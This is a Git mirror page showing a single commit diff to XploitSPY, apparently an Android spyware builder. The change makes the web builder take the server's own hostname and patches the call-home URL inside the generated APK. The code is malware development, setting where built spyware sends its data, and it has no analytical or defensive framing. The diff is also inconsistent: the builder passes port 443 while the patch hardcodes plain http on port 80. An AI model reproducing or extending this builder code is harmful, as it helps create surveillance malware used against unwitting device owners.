mirror of
https://github.com/XploitWizer-Community/XploitSPY.git
synced 2024-07-03 20:28:14 +08:00
Auto detect host name
This commit is contained in:
parent
2c87a7a512
commit
7b99230d81
|
@ -69,7 +69,8 @@
|
||||||
var isDone = false;
|
var isDone = false;
|
||||||
$('#gobuild').click((e) => {
|
$('#gobuild').click((e) => {
|
||||||
$('#dimmer').addClass('active');
|
$('#dimmer').addClass('active');
|
||||||
build($('#uriInput').val(), "80");
|
// build($('#uriInput').val(), "80");
|
||||||
|
build(window.location.hostname, "443");
|
||||||
setTimeout(loaderText, 500);
|
setTimeout(loaderText, 500);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|
|
@ -25,7 +25,7 @@ function patchAPK(URI, PORT, cb) {
|
||||||
fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
|
fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
|
||||||
if (err) return cb('File Patch Error - READ')
|
if (err) return cb('File Patch Error - READ')
|
||||||
var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")),
|
var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")),
|
||||||
"https://" + URI + ":" + "80");
|
"http://" + URI + ":" + "80");
|
||||||
fs.writeFile(CONST.patchFilePath, result, 'utf8', function (err) {
|
fs.writeFile(CONST.patchFilePath, result, 'utf8', function (err) {
|
||||||
if (err) return cb('File Patch Error - WRITE')
|
if (err) return cb('File Patch Error - WRITE')
|
||||||
else return cb(false)
|
else return cb(false)
|
||||||
|
|
Loading…
Reference in New Issue
Block a user